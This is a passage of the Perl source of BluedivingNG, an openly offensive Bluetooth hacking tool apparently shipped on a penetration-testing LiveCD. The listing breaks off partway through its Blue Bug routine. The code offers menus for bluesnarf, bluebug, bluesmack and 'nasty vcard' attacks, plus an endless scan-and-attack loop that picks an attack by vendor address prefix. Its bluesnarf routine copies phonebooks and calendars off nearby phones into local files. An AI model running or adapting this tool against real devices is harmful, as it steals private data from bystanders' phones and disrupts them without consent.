home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / bin / bluediving / bluedivingNG.pl < prev    next >
Encoding:
Perl Script  |  2006-06-15  |  31.8 KB  |  1,419 lines
  1. #!/usr/bin/perl
  2. #
  3. # Bluediving - Hacking Bluetooth enabled devices.
  4. #
  5. # Programmed by Bastian Ballmann
  6. # Web: http://www.datenterrorist.de
  7. # Mail: Balle@chaostal.de
  8. #
  9. # First version: Mon Jan 10 10:28:26 CET 2005
  10. # NG version: Tue Jun 28 18:17:21 CEST 2005
  11. # Last update: Fri May 12 21:48:02 CEST 2006
  12. #
  13. # License: GPL version 2
  14. #
  15. # ...there is no spoon.
  16.  
  17. ###[ Loading modules ]###
  18.  
  19. use Env qw(PATH,IFS);
  20. use XML::Simple;
  21. use strict;
  22.  
  23.  
  24. ###[ Configuration ]###
  25.  
  26. die "$0 [device]\n" if $ARGV[0] eq "--help";
  27.  
  28. my %preferences;
  29. my $configfile = "bluedivingNG.conf";
  30.  
  31. my $cfg = XMLin($configfile) or die "Cannot read config file $configfile!\n$!\n";
  32.  
  33. # Device
  34. $preferences{'device'} = $cfg->{'device'};
  35. $preferences{'device'} = $ARGV[0] if defined $ARGV[0];
  36. $preferences{'device'} = "hci0" if $preferences{'device'} eq "";
  37.  
  38. # Where to keep logs?
  39. $preferences{'logdir'} = $cfg->{'logdir'};
  40.  
  41. # Main logfile
  42. $preferences{'logfile'} = $preferences{'logdir'} . $cfg->{'logfile'};
  43.  
  44. # Play sound?
  45. # 1 == yes / 0 == no
  46. $preferences{'play_sound'} = $cfg->{'play_sound'};
  47.  
  48. # Sound file
  49. $preferences{'sound_file'} = $cfg->{'sound_file'};
  50.  
  51. # My nasty vcard
  52. $preferences{'vcard'} = $cfg->{'vcard'};
  53.  
  54. # Default channel
  55. $preferences{'channel'} = $cfg->{'channel'};
  56.  
  57. # Default device name
  58. $preferences{'device_name'} = $cfg->{'device_name'};
  59.  
  60. # Default device type
  61. # Phone, Laptop
  62. $preferences{'device_type'} = $cfg->{'device_type'};
  63.  
  64. # Should the device be visible?
  65. # 0 == no / 1 == yes
  66. $preferences{'device_visibility'} = $cfg->{'device_visibility'};
  67.  
  68. # Clear environment
  69. $ENV{'PATH'} = "/usr/bin:/usr/sbin:.";
  70. $ENV{'IFS'} = "/";
  71.  
  72.  
  73.  
  74. ###[ MAIN PART ]###
  75.  
  76. # Specific device logdir
  77. my $devicedir = "";
  78.  
  79. # Remember seen devices
  80. my %seen;
  81.  
  82. # New devices found on the air
  83. my @new_devices;
  84.  
  85. # My target device
  86. my $target;
  87.  
  88. # My last menu
  89. my $last_menu;
  90.  
  91. # My last RFCOMM device
  92. my $rfcomm_device = 0;
  93.  
  94. # Dont print menu?
  95. my $no_menu = 0;
  96.  
  97. # Device type map
  98. my %device_type = ("phone" => "0x000204",
  99.            "laptop" => "0x00010c");
  100.  
  101. # Vendor map
  102. my %vendor = ("0" => "Unknown",
  103.           "1" => "Nokia",
  104.           "2" => "Ericsson",
  105.           "3" => "Motorola",
  106.           "4" => "Siemens",
  107.           "5" => "HP",
  108.           "6" => "ACER",
  109.           "7" => "Apple");
  110.  
  111. # Init program
  112. init_program();
  113.  
  114. # Print header
  115. my $muh = "BluedivingNG (BETA Version)"; 
  116. print "\n" . $muh . "\n";
  117. print "-" x length($muh) . "\n\n";
  118. print "Next generation bluetooth security tool.\n";
  119. print "Programmed by Bastian Ballmann\n";
  120.  
  121. # Go get it
  122. while(1){ print_mainmenu(); }
  123.  
  124.  
  125.  
  126. ###[ MENU SUBROUTINES ]###
  127.  
  128. # Print menu and handle user input
  129. sub print_menu
  130. {
  131.     my @menu = @_;
  132.  
  133.     print "\n". "-="x25 . "-\n";
  134.  
  135.     # Menu name
  136.     print "$menu[0]\n\n";
  137.  
  138.     # Print the menu
  139.     for(my $i=1; $i<scalar(@menu); $i++)
  140.     {
  141.     print "[$i] " . $menu[$i]->[0] . "\n";
  142.     }
  143.  
  144.     print "-="x25 . "-\n\n";
  145.  
  146.     # Get user input
  147.     print ">>> ";
  148.     my $input = <STDIN>;
  149.     chomp $input;
  150.  
  151.     # Check user input
  152.     exit_program() if(($input eq "exit") || ($input eq "quit"));
  153.     &{$last_menu} if $input eq "";
  154.     die "Go home.\n" unless $input =~ /\d/;
  155.  
  156.     if(($input > scalar(@menu)) || ($input == 0))
  157.     {
  158.     print "<<< ERROR! Undefined input.\n";
  159.     &{$last_menu};
  160.     }
  161.     else
  162.     {
  163.     # Execute the command
  164.     print "\n";
  165.     &{$menu[$input]->[1]};
  166.     }
  167. }
  168.  
  169. # Print the main menu
  170. sub print_mainmenu
  171. {
  172.     my @menu = ('[MAIN MENU]',
  173.         ['Scan', \&scan],
  174.         ['Scan and attack', \&scan_and_attack],
  175.         ['Scan and attack (endless loop)', \&loop_scan_and_attack],
  176.         ['Add Known Device', \&add_known_device],
  177.         ['Info Menu', \&print_infomenu],
  178.         ['Action Menu', \&print_actionmenu],
  179.         ['Change preferences', \&change_preferences],
  180.         ['Show preferences', \&show_preferences],
  181.         ['Show logfile', \&print_logfile],
  182.         ['Exit', \&exit_program]);
  183.  
  184.     $last_menu = \&print_mainmenu;
  185.     print_menu(@menu);
  186. }
  187.  
  188. # Print Info menu
  189. sub print_infomenu
  190. {
  191.     my @menu = ('[INFO MENU]',
  192.         ['Choose a target', \&get_a_target],
  193.         ['Get info', \&get_device_info],
  194.         ['Get services', \&get_device_services],
  195.         ['Find service', \&find_channel],
  196.         ['Get vendor', \&get_device_vendor],
  197.         ['Check connection', \&check_connection],
  198.         ['Show new devices', \&show_new_devices],
  199.         ['Show all devices', \&show_all_devices],
  200.         ['Action menu', \&print_actionmenu],
  201.         ['Main menu', \&print_mainmenu],
  202.         ['Exit', \&exit_program]);
  203.  
  204.     $last_menu = \&print_infomenu;
  205.     print_menu(@menu);
  206. }
  207.  
  208. # Print action menu
  209. sub print_actionmenu
  210. {
  211.     my @menu = ('[ACTION MENU]',
  212.         ['Choose a target', \&get_a_target],
  213.         ['Blue Snarf', \&bluesnarf],
  214.         ['Blue Snarf++', \&bluesnarf2],
  215.         ['Blue Snarf Ericsson', \&bluesnarf_ericsson],
  216.         ['Blue Bug', \&bluebug],
  217.         ['Blue Bug AT shell', \&bluebug_atshell],
  218.         ['Helo Moto', \&helomoto],
  219.         ['Blue Smack', \&bluesmack],
  220.         ['Stop Blue Smack', \&stop_bluesmack],
  221.         ['Nasty VCard', \&send_nasty_vcard],
  222.         ['Symbian Remote Restart', \&symbian_remote_restart],
  223.         ['Try all attacks', \&try_all_attacks],
  224.         ['Automatic attack', \&attack],
  225.         ['Launch redfang', \&launch_redfang],
  226.         ['Change your bluetooth address', \&change_btaddr],
  227.         ['Send soundfile', \&send_sound],
  228.         ['Scan RFCOMM channels', \&rfcomm_scan],
  229.         ['Launch RFCOMM shell', \&launch_rfcomm_shell],
  230.         ['RFCOMM Connection', \&rfcomm_connection],
  231.         ['HCI Connection', \&hci_connection],
  232.         ['Request new link key', \&request_paiting],
  233.         ['Info menu', \&print_infomenu],
  234.         ['Main menu', \&print_mainmenu],
  235.         ['Exit', \&exit_program]);
  236.  
  237.     $last_menu = \&print_actionmenu;
  238.     print_menu(@menu);
  239. }
  240.  
  241. # Choose a target from the new devices list
  242. sub get_a_target
  243. {
  244.     my @devices;
  245.  
  246.     if (!%seen) {
  247.         print "No devices found yet!\n";
  248.         print_mainmenu();
  249.         return;
  250.     }
  251.  
  252.     print "Want to see all devices? <y/N>: ";
  253.     my $input = <STDIN>;
  254.     chomp $input;
  255.  
  256.     if($input eq "y")
  257.     {
  258.     my $i = 1;
  259.  
  260.     while(my($key,$value) = each %seen)
  261.     {
  262.         push @devices, $key;
  263.         print "[$i] $key $value\n";
  264.         $i++;
  265.     }
  266.     }
  267.     else
  268.     {
  269.     show_new_devices();
  270.     @devices = @new_devices;
  271.     }
  272.  
  273.     # Get user input
  274.     print ">>> ";
  275.     $input = <STDIN>;
  276.     chomp $input;
  277.  
  278.     # Check user input
  279.     exit_program() if(($input eq "exit") || ($input eq "quit"));
  280.     die "Go home.\n" unless $input =~ /\d/;
  281.  
  282.     if(($input > scalar(@devices)) || ($input == 0))
  283.     {
  284.     print "<<< ERROR! Undefined input.\n";
  285.     print_mainmenu();
  286.     }
  287.  
  288.     $target = $devices[$input];    
  289.     &{$last_menu} unless $no_menu;
  290. }
  291.  
  292. # Find the channel for a service
  293. sub find_channel
  294. {
  295.     if($target eq "")
  296.     {
  297.     print "<<< I need a target!\n";
  298.     $no_menu = 1;
  299.     get_a_target();
  300.     $no_menu = 0;
  301.     }
  302.  
  303.     print "Service: ";
  304.     my $input = <STDIN>;
  305.     chomp($input);
  306.  
  307.     die "Go home.\n" unless $input =~ /^\w+/;
  308.     my $channel = get_channel($target, $input);
  309.  
  310.     if($channel == 0)
  311.     {
  312.     print "Can't find service $input\n";
  313.     }
  314.     else
  315.     {
  316.     print "Service $input is on channel $channel.\n";
  317.     }
  318.  
  319.     &{$last_menu} unless $no_menu;
  320. }
  321.  
  322. # Try browse SDP to get the channel for a service
  323. # Parameter: addr, service
  324. # Return: channelnr
  325. sub get_channel
  326. {
  327.     my ($addr,$service) = @_;
  328.     my $flag = 0;
  329.     my $channel = 0;
  330.  
  331.     return unless (defined $addr) && (defined $service);
  332.  
  333.     open(SDP,"$cfg->{'sdptool'} browse $target |") or die $!;
  334.  
  335.     while(<SDP>)
  336.     {
  337.     $flag = 1 if($_ =~ /Service name: $service/ig);    
  338.     if(($flag == 1) && ($_ =~ /Channel: (\d+)/))
  339.     {
  340.         $channel = $1;
  341.         last;
  342.     }
  343.     }
  344.  
  345.     close(SDP);
  346.     return $channel;
  347. }
  348.  
  349. # Ask the user to change the default channel
  350. sub ask_channel
  351. {
  352.     print "Default channel is $preferences{'channel'}\n";
  353.     print "Want to change it? (y/N): ";
  354.     
  355.     my $input = <STDIN>;
  356.     chomp $input;
  357.     
  358.     if($input eq "y")
  359.     {
  360.     print "Tell me the channel number: ";
  361.     
  362.     $input = <STDIN>;
  363.     chomp $input;
  364.     
  365.     die "Go home." unless $input =~ /\d{1,2}/;
  366.     $preferences{'channel'} = $input;
  367.     }
  368. }
  369.  
  370.  
  371.  
  372. ###[ NORMAL SUBROUTINES ]###
  373.  
  374. # Scan for new devices
  375. sub scan
  376. {
  377.     @new_devices = ();
  378.     my ($host,$addr);
  379.  
  380.     # Scan for new devices
  381.     print "<<< Start scanning for bluetooth devices...\n";
  382.     open(HCI,"$cfg->{'hcitool'} -i $preferences{'device'} scan|") or die "$!\n";
  383.     
  384.     while(<HCI>)
  385.     {
  386.     my @tmp = split(/\s/,$_); 
  387.  
  388.     for(@tmp)
  389.     {
  390.         next if $_ =~ /Scanning/;
  391.  
  392.         if($_ =~ /\w\w\:\w\w\:\w\w\:\w\w\:\w\w\:\w\w/)
  393.         {
  394.         $addr = $_;
  395.         }
  396.         elsif($_ =~ /\w+$/)
  397.         {
  398.         $host = $_;
  399.         }
  400.     }
  401.     
  402.     # Found a new device
  403.     if( ($host ne "") && ($addr ne "") && ($seen{$addr} eq "") )
  404.     {
  405.         print "<<< " . localtime(time) . " Found host $host addr $addr\n";
  406.         print LOG localtime(time) . " Found host $host addr $addr\n";
  407.         $seen{$addr} = $host;
  408.         
  409.         $devicedir = $preferences{'logdir'} . $addr;
  410.         unlink($devicedir) if -e $devicedir;
  411.         mkdir($devicedir);
  412.         
  413.         # Play sound?
  414.         system("$cfg->{'play'} $preferences{'sound_file'} > /dev/null 2> /dev/null") if $preferences{'play_sound'};
  415.         
  416.         push @new_devices,$addr;
  417.     }
  418.     }
  419.  
  420.     close(HCI);
  421.  
  422.     if(scalar(@new_devices) == 0)
  423.     {
  424.     print "<<< Found no devices.\n";
  425.     }
  426.     else
  427.     {
  428.     $target = $new_devices[0];
  429.     }
  430. }
  431.  
  432. # rather than scanning, add an existing (known) address
  433. sub add_known_device {
  434.     print "<<< Manually add a known bluetooth device...\n";
  435.  
  436.     print "Enter device address: ";
  437.     my $addr = <STDIN>;
  438.     chomp $addr;
  439.  
  440.     if($addr !~ /\w\w\:\w\w\:\w\w\:\w\w\:\w\w\:\w\w/) {
  441.         print "Invalid address format!\n";
  442.         return;
  443.     }
  444.  
  445.     print "Enter a nickname for this device: ";
  446.     my $host= <STDIN>;
  447.     chomp $host;
  448.  
  449.     $seen{$addr} = $host;
  450.     push @new_devices,$addr;
  451.     $target = $new_devices[0];
  452.         
  453.     $devicedir = $preferences{'logdir'} . $addr;
  454.     unlink($devicedir) if -e $devicedir;
  455.     mkdir($devicedir);
  456.  
  457.     print "Device $host ($addr) registered.\n";
  458. }
  459.  
  460. # Show new devices
  461. sub show_new_devices
  462. {
  463.     if(scalar(@new_devices) > 0)
  464.     {
  465.     for(my $i=1; $i<scalar(@new_devices); $i++)
  466.     {
  467.         print "[$i] $new_devices[$i] $seen{$new_devices[$i]}\n";
  468.     }
  469.     }
  470.     else
  471.     {
  472.     print "<<< There are no new devices.\n";
  473.     }
  474. }
  475.  
  476. # Show all devices
  477. sub show_all_devices
  478. {
  479.     my $flag = 1;
  480.     
  481.     while(my($key,$value) = each %seen)
  482.     {
  483.     print "[$flag] $key\n";
  484.     $flag++;
  485.     }
  486.  
  487.     print "<<< No devices at all...\n" if $flag == 1;
  488. }
  489.  
  490. # Scan RFCOMM channels
  491. sub rfcomm_scan
  492. {
  493.     my $start = 1;
  494.     my $end = 20;
  495.  
  496.     if($target eq "")
  497.     {
  498.     print "<<< I need a target.\n";
  499.     $no_menu = 1;
  500.     get_a_target();
  501.     $no_menu = 0;
  502.     }
  503.  
  504.     print "From ($start): ";
  505.     my $input = <STDIN>;
  506.     chomp $input;
  507.     
  508.     if($input ne "")
  509.     {        
  510.     die "Go home." unless $input =~ /^\d+$/;
  511.     $start = $input;
  512.     }
  513.     
  514.     print "To ($end): ";
  515.     $input = <STDIN>;
  516.     chomp $input;
  517.     
  518.     if($input ne "")
  519.     {        
  520.     die "Go home." unless $input =~ /^\d+$/;
  521.     $end = $input;
  522.     }
  523.     
  524.     print "Start scanning $target from $start to $end\n";
  525.     
  526.     for(my $i=$start; $i<=$end; $i++)
  527.     {
  528.     print "Trying to connect to channel $i\n";
  529.     system("$cfg->{'rfcomm'} -i $preferences{'device'} connect $rfcomm_device $target $i");
  530.     $rfcomm_device++;        
  531.     }
  532.     
  533.     system("$cfg->{'rfcomm'} -i $preferences{'device'} release all");
  534.     $rfcomm_device = 0;
  535.  
  536.     &{$last_menu} unless $no_menu;
  537. }
  538.  
  539. # Launch RFCOMM shell
  540. sub launch_rfcomm_shell
  541. {
  542.     if($target eq "")
  543.     {
  544.     print "<<< I need a target.\n";
  545.     $no_menu = 1;
  546.     get_a_target();
  547.     $no_menu = 0;
  548.     }
  549.     
  550.     ask_channel();
  551.     print "<<< Trying to connect to RFCOMM channel $preferences{'channel'} on $target\n";
  552.     system("$cfg->{'rfcomm_shell'} $target $preferences{'channel'}");
  553. }
  554.  
  555. # Make a RFCOMM connection
  556. sub rfcomm_connection
  557. {
  558.     if($target eq "")
  559.     {
  560.     print "<<< I need a target.\n";
  561.     $no_menu = 1;
  562.     get_a_target();
  563.     $no_menu = 0;
  564.     }
  565.  
  566.     ask_channel();
  567.     print "Shall I [c]onnect or [b]ind? (default connect): ";
  568.     
  569.     my $input = <STDIN>;
  570.     chomp $input;
  571.     
  572.     if(($input eq "bind") || ($input eq "b"))
  573.     {
  574.     print "<<< Trying to bind to $target:$preferences{'channel'} on rfcomm device $rfcomm_device";
  575.     system("$cfg->{'rfcomm'} -i $preferences{'device'} bind $rfcomm_device $target $preferences{'channel'}");
  576.     }
  577.     elsif(($input eq "connect") || ($input eq "c") || ($input eq ""))
  578.     {
  579.     print "<<< Trying to connect to $target:$preferences{'channel'} on rfcomm device $rfcomm_device";
  580.     system("$cfg->{'rfcomm'} -i $preferences{'device'} connect $rfcomm_device $target $preferences{'channel'}");
  581.     }
  582.     else
  583.     {
  584.     die("Go home.");
  585.     }
  586.  
  587.     $rfcomm_device++;
  588.     &{$last_menu} unless $no_menu;
  589. }
  590.  
  591. # Make a HCI connection
  592. sub hci_connection
  593. {
  594.     if($target eq "")
  595.     {
  596.     print "<<< I need a target.\n";
  597.     $no_menu = 1;
  598.     get_a_target();
  599.     $no_menu = 0;
  600.     }
  601.  
  602.     print "<<< Trying a HCI connection to $target\n";
  603.     system("$cfg->{'hcitool'} -i $cfg->{'device'} cc $target");
  604.     &{$last_menu} unless $no_menu;
  605. }
  606.  
  607. # Request new pairing process
  608. sub request_pairing
  609. {
  610.     if($target eq "")
  611.     {
  612.     print "<<< I need a target.\n";
  613.     get_a_target();
  614.     }
  615.  
  616.     print "<<< Requesting new link key to $target\n";
  617.     system("$cfg->{'hcitool'} -i $cfg->{'device'} key $target");
  618.     &{$last_menu} unless $no_menu;
  619. }
  620.  
  621. # Change your bluetooth address
  622. sub change_btaddr
  623. {
  624.     print "NOTE! This is currently only implemented for CSR, Ericsson and Zeevo chipsets.\n";
  625.     print "SAVE YOUR OLD ADDRESS TO RESTORE IT!\n";
  626.     print "Press ENTER to abort or give me the new address\n";
  627.     print ">>> ";
  628.     
  629.     my $input = <STDIN>;
  630.     chomp $input;
  631.     
  632.     &{$last_menu} if $input eq "";
  633.     die "Go home.\n" unless $input =~ /^[0-9A-F]{2,2}\:[0-9A-F]{2,2}\:[0-9A-F]{2,2}\:[0-9A-F]{2,2}\:[0-9A-F]{2,2}\:[0-9A-F]{2,2}$/i;
  634.  
  635.  
  636.     # Set new address
  637.     print "<<< Changing address to $input.\n";
  638.     system("$cfg->{'change_btaddr'} $preferences{'device'} $input");
  639.  
  640.     # Reset the device
  641.     print "<<< Resetting device (maybe you have to unplug, plug in and up it)\n";
  642.     system("$cfg->{'hciconfig'} $preferences{'device'} down");
  643.     system("$cfg->{'hciconfig'} $preferences{'device'} up");    
  644.     system("$cfg->{'hciconfig'} $preferences{'device'}");
  645.     &{$last_menu};
  646. }
  647.  
  648. # Send a sound file to the audio gateway
  649. sub send_sound
  650. {
  651.     my $file;
  652.  
  653.     if($target eq "")
  654.     {
  655.     print "<<< I need a target.\n";
  656.     $no_menu = 1;
  657.     get_a_target();
  658.     $no_menu = 0;
  659.     }
  660.  
  661.     print "Which soundfile shall I use?\n";
  662.     print "This? $preferences{'sound_file'} <Y/n>: ";
  663.     
  664.     my $input = <STDIN>;
  665.     chomp $input;
  666.     
  667.     if($input eq "n")
  668.     {
  669.     print "Give me the absolute filename!\n";
  670.     print ">>> ";
  671.     
  672.     $file = <STDIN>;
  673.     chomp $file;
  674.     
  675.     die "Go home." unless $file =~ /[a-zA-Z\/\.]/g;
  676.     }
  677.     else
  678.     {
  679.     $file = $preferences{'sound_file'};
  680.     }
  681.     
  682.     $preferences{'channel'} = get_channel($target,"Voice Gateway");
  683.     ask_channel() if $preferences{'channel'} == 0;
  684.     
  685.     print "Sending $file to $target:$preferences{'channel'}\n";
  686.     system("$cfg->{'mpg123'} -q -s '$file' | $cfg->{'sox'} -t raw -r 44100 -c 2 -s -w - -t raw -r 8000 -c 1 -s -w - | $cfg->{'hstest'} play - $target $preferences{'channel'}");
  687.  
  688.     &{$last_menu} unless $no_menu;
  689. }
  690.  
  691.  
  692. ###[ ATTACK SUBROUTINES ]###
  693.  
  694. # Scan and attack
  695. sub scan_and_attack
  696. {
  697.     scan();
  698.     attack();
  699.     &{$last_menu};
  700. }
  701.  
  702. # Scan and attack in an endless loop
  703. sub loop_scan_and_attack 
  704. { 
  705.     $no_menu = 1;
  706.  
  707.     while(1) 
  708.     { 
  709.     scan();
  710.     attack(); 
  711.     sleep 1;
  712.     } 
  713. }
  714.  
  715. # Attack new devices
  716. sub attack
  717. {
  718.     for(@new_devices)
  719.     {
  720.     my $id = get_device_vendor($_);
  721.     $target = $_;
  722.  
  723.     # Nokia
  724.     if($vendor{$id} eq "Nokia")
  725.     {
  726.         bluesnarf();
  727.     }
  728.  
  729.     # Ericsson
  730.     elsif($vendor{$id} eq "Ericsson")
  731.     {
  732.         bluesnarf_ericsson();
  733.     }
  734.  
  735.     # Motorola
  736.     elsif($vendor{$id} eq "Motorola")
  737.     {
  738.         bluebug();
  739.     }
  740.  
  741.     # Another vendor
  742.     else
  743.     {
  744.         send_nasty_vcard();
  745. #        bluesmack();
  746.     }
  747.     }
  748. }
  749.  
  750. # Launch Redfang
  751. sub launch_redfang
  752. {
  753.     system("$cfg->{'redfang'} hunt 1");
  754. }
  755.  
  756.  
  757. ###[ INFO SUBROUTINES ]###
  758.  
  759. # Get available infos
  760. sub get_device_info
  761. {
  762.     $devicedir = $preferences{'logdir'} . $target;
  763.     
  764.     if($target eq "")
  765.     {
  766.     print "<<< I need a target.\n";
  767.     $no_menu = 1;
  768.     get_a_target();
  769.     $no_menu = 0;
  770.     }
  771.     die "FATAL! $devicedir/info is a symbolic link!\n" if -l ("$devicedir/info");
  772.     open(INFO,"$cfg->{'hcitool'} -i $cfg->{'device'} info $target > $devicedir/info |");
  773.     my @info = <INFO>;
  774.     close(INFO);
  775.  
  776.     if(scalar(@info) == 0)
  777.     {
  778.         print "<<< No info available for $target\n";
  779.     }
  780.     else
  781.     {
  782.         map { print; } @info;
  783.     }
  784.  
  785.     &{$last_menu};
  786. }
  787.  
  788. # Get available services
  789. sub get_device_services
  790. {
  791.     $devicedir = $preferences{'logdir'} . $target;
  792.     
  793.     if($target eq "")
  794.     {
  795.     print "<<< I need a target.\n";
  796.     $no_menu = 1;
  797.     get_a_target();
  798.     $no_menu = 0;
  799.     }
  800.  
  801.     die "FATAL! $devicedir/services is a symbolic link!\n" if -l ("$devicedir/services");
  802.     open(SDP,"$cfg->{'sdptool'} browse $target > $devicedir/services |");
  803.     my @sdp = <SDP>;
  804.     close(SDP);
  805.  
  806.     if(scalar(@sdp) == 0)
  807.     {
  808.         print "<<< Target $target seems to have no running sdp daemon.\n";
  809.     }
  810.     else
  811.     {
  812.         map { print; } @sdp;
  813.     }
  814.  
  815.     &{$last_menu};
  816. }
  817.  
  818. # Detect device vendor
  819. # 0 -> Unkown
  820. # 1 -> Nokia
  821. # 2 -> Ericsson
  822. # 3 -> Motorola
  823. # 4 -> Siemens
  824. # 5 -> HP
  825. # 6 -> Acer
  826. # 7 -> Apple
  827. sub get_device_vendor
  828. {
  829.     my $code = 0;
  830.  
  831.     # Is it a mobile phone? Which one? Check first three byte of address!
  832.     # Try to retrieve data from the phone!
  833.     if (($target =~ /^00:60:57/) || ($target =~ /^00:02:EE/) || ($target =~ /^00:0E:ED/) || ($target =~ /^00:11:9F/) || ($target =~ /^00:60:57/))
  834.     {
  835.     print "<<< " . localtime(time) . " $target is a Nokia mobile phone.\n";
  836.     print LOG localtime(time) . " $target is a Nokia mobile phone.\n";
  837.     $code = 1;
  838.     }
  839.     
  840.     elsif (($target =~ /^00:01:EC/) || ($target =~ /^00:0A:D9/) || ($target =~ /^00:0E:07/))
  841.     {
  842.     print "<<< " . localtime(time) . " $target is an Ericsson mobile phone.\n";
  843.     print LOG localtime(time) . " $target is an Ericsson mobile phone.\n";
  844.     $code = 2;
  845.     }
  846.     
  847.     elsif (($target =~ /^C6:F7:4A/) || ($target =~ /^00:0A:28/))
  848.     {
  849.     print "<<< " . localtime(time) . " $target is a Motorola mobile phone.\n";
  850.     print LOG localtime(time) . " $target is a Motorola mobile phone.\n";
  851.     $code = 3;
  852.     }
  853.     
  854.     elsif (($target =~ /^00:01:E3/) || ($target =~ /^01:90:71/))
  855.     {
  856.     print "<<< " . localtime(time) . " $target is a Siemens mobile phone.\n";
  857.     print LOG localtime(time) . " $target is a Siemens mobile phone.\n";
  858.     $code = 4;
  859.     }
  860.  
  861.     elsif($target =~ /^08:00:28/)
  862.     {
  863.     print "<<< " . localtime(time) . " $target is a HP iPAQ.\n";
  864.     print LOG localtime(time) . " $target is a HP iPAQ.\n";
  865.     $code = 5;
  866.     }
  867.  
  868.     elsif($target =~ /^00:02:78/)
  869.     {
  870.     print "<<< " . localtime(time) . " $target is an ACER device.\n";
  871.     print LOG localtime(time) . " $target is an ACER device.\n";
  872.     $code = 6;
  873.     }
  874.  
  875.     elsif($target =~ /^00:0A:95/)
  876.     {
  877.     print "<<< " . localtime(time) . " $target is an Apple device.\n";
  878.     print LOG localtime(time) . " $target is an Apple device.\n";
  879.     $code = 7;
  880.     }
  881.  
  882.     else
  883.     {
  884.     print "<<< " . localtime(time) . " $target is from an unkown vendor.\n";
  885.     print LOG localtime(time) . " $target is from an unkown vendor.\n";
  886.     }
  887.  
  888.     &{$last_menu};
  889.     return $code;
  890. }
  891.  
  892. # Check the connection with a single l2cap packet
  893. sub check_connection
  894. {
  895.     $devicedir = $preferences{'logdir'} . $target;
  896.     
  897.     if($target eq "")
  898.     {
  899.     print "<<< I need a target.\n";
  900.     $no_menu = 1;
  901.     get_a_target();
  902.     $no_menu = 0;
  903.     }
  904.  
  905.     print "<<< Checking connection of $target\n";
  906.     open(L2PING,"$cfg->{'l2ping'} -c 1 $target |");
  907.     while(<L2PING>){ print; }
  908.     close(L2PING);
  909.     &{$last_menu};
  910. }
  911.  
  912. # Get local device name
  913. sub get_device_name
  914. {
  915.     my $name = "unkown";
  916.  
  917.     open(HCI,"$cfg->{'hciconfig'} $preferences{'device'} name |") or die $!;
  918.  
  919.     while(<HCI>)
  920.     {
  921.     $name = $1 if $_ =~ /Name: \'(.*)\'/i;
  922.     }
  923.  
  924.     close(HCI);
  925.     return $name;
  926. }
  927.  
  928. # Set local device name
  929. sub set_device_name
  930. {
  931.     my $name = shift;
  932.     
  933.     if($name eq "")
  934.     {
  935.     print "<<< I need a device name to set!\n";
  936.     }
  937.     else
  938.     {
  939.     print "<<< Setting device name to $name\n";
  940.     system("$cfg->{'hciconfig'} $preferences{'device'} name '$name'");
  941.     }
  942. }
  943.  
  944. # Set device type
  945. sub set_device_type
  946. {
  947.     my $name = shift;
  948.     my $hex = $device_type{lc($name)};
  949.  
  950.     if($hex eq "")
  951.     {
  952.     print "<<< Unsupported device type\n";
  953.     }
  954.     else
  955.     {
  956.     print "<<< Setting device type to $name\n";
  957.     system("$cfg->{'hciconfig'} $preferences{'device'} class $hex");
  958.     }
  959. }
  960.  
  961. # Set device visibility
  962. sub set_device_visibility
  963. {
  964.     # Unvisible
  965.     if($preferences{'device_visibility'} == 0)
  966.     {
  967.     print "<<< Setting device to non-visible mode\n";
  968.     system("$cfg->{'hciconfig'} $preferences{'device'} noscan");
  969.     }
  970.     
  971.     # Visible
  972.     elsif($preferences{'device_visibility'} == 1)
  973.     {
  974.     print "<<< Setting device to visible mode\n";
  975.     system("$cfg->{'hciconfig'} $preferences{'device'} piscan");
  976.     }
  977. }
  978.  
  979.  
  980. ###[ EXPLOIT STUFF ]###
  981.  
  982. # Blue Snarf attack
  983. sub bluesnarf
  984. {
  985.     $devicedir = $preferences{'logdir'} . $target;
  986.     
  987.     if($target eq "")
  988.     {
  989.     print "<<< I need a target.\n";
  990.     $no_menu = 1;
  991.     get_a_target();
  992.     $no_menu = 0;
  993.     }
  994.  
  995.     $preferences{'channel'} = get_channel($target,"OBEX Object Push");
  996.     ask_channel() if ($preferences{'channel'} == 0) || ($preferences{'channel'} eq "");
  997.     
  998.     unlink("$devicedir/phonebook") if -e ("$devicedir/phonebook");
  999.     unlink("$devicedir/calendar") if -e ("$devicedir/calendar");
  1000.     
  1001.     print "<<< Bluesnarfing $target.\n";
  1002.     system("$cfg->{'btobex'} pb $target $preferences{'channel'} > $devicedir/phonebook");
  1003.     system("$cfg->{'btobex'} cal $target $preferences{'channel'} > $devicedir/calendar");
  1004.     
  1005.     die "FATAL! $devicedir/phonebook is a symbolic link!\n" if -l ("$devicedir/phonebook");
  1006.     open(IN,"<$devicedir/phonebook");
  1007.     my @input = <IN>;
  1008.     close(IN);
  1009.     
  1010.     if(scalar(@input) == 0)
  1011.     {
  1012.     print "<<< No phonebook received.\n";
  1013.     }
  1014.     else
  1015.     {
  1016.     map{print;}@input;
  1017.     }
  1018.     
  1019.     die "FATAL! $devicedir/calendar is a symbolic link!\n" if -l ("$devicedir/calendar");
  1020.     open(IN,"<$devicedir/calendar");
  1021.     my @input = <IN>;
  1022.     close(IN);
  1023.     
  1024.     if(scalar(@input) == 0)
  1025.     {
  1026.     print "<<< No calendar received.\n";
  1027.     }
  1028.     else
  1029.     {
  1030.     map{print;}@input;
  1031.     }
  1032.  
  1033.     &{$last_menu} unless $no_menu;
  1034. }
  1035.  
  1036. # Blue Snarf++
  1037. sub bluesnarf2
  1038. {
  1039.     $devicedir = $preferences{'logdir'} . $target;
  1040.     $preferences{'channel'} = 10;
  1041.     
  1042.     if($target eq "")
  1043.     {
  1044.     print "<<< I need a target.\n";
  1045.     $no_menu = 1;
  1046.     get_a_target();
  1047.     $no_menu = 0;
  1048.     }
  1049.  
  1050.     $preferences{'channel'} = get_channel($target,"OBEX Object Push");
  1051.     ask_channel() if $preferences{'channel'} == 0;
  1052.     print "<<< Launching BlueSnarf++ on $target:$preferences{'channel'}\n";
  1053.     system("$cfg->{'btftp'} $target $preferences{'channel'}");
  1054.     &{$last_menu} unless $no_menu;
  1055. }
  1056.  
  1057. # Blue Bug
  1058. sub bluebug
  1059. {
  1060.     $devicedir = $preferences{'logdir'} . $target;
  1061.     
  1062.     if($target eq "")
  1063.     {
  1064.     print "<<< I need a target.\n";
  1065.     $no_menu = 1;
  1066.     get_a_target();
  1067.     $no_menu = 0;
  1068.     }
  1069.  
  1070.     ask_channel();
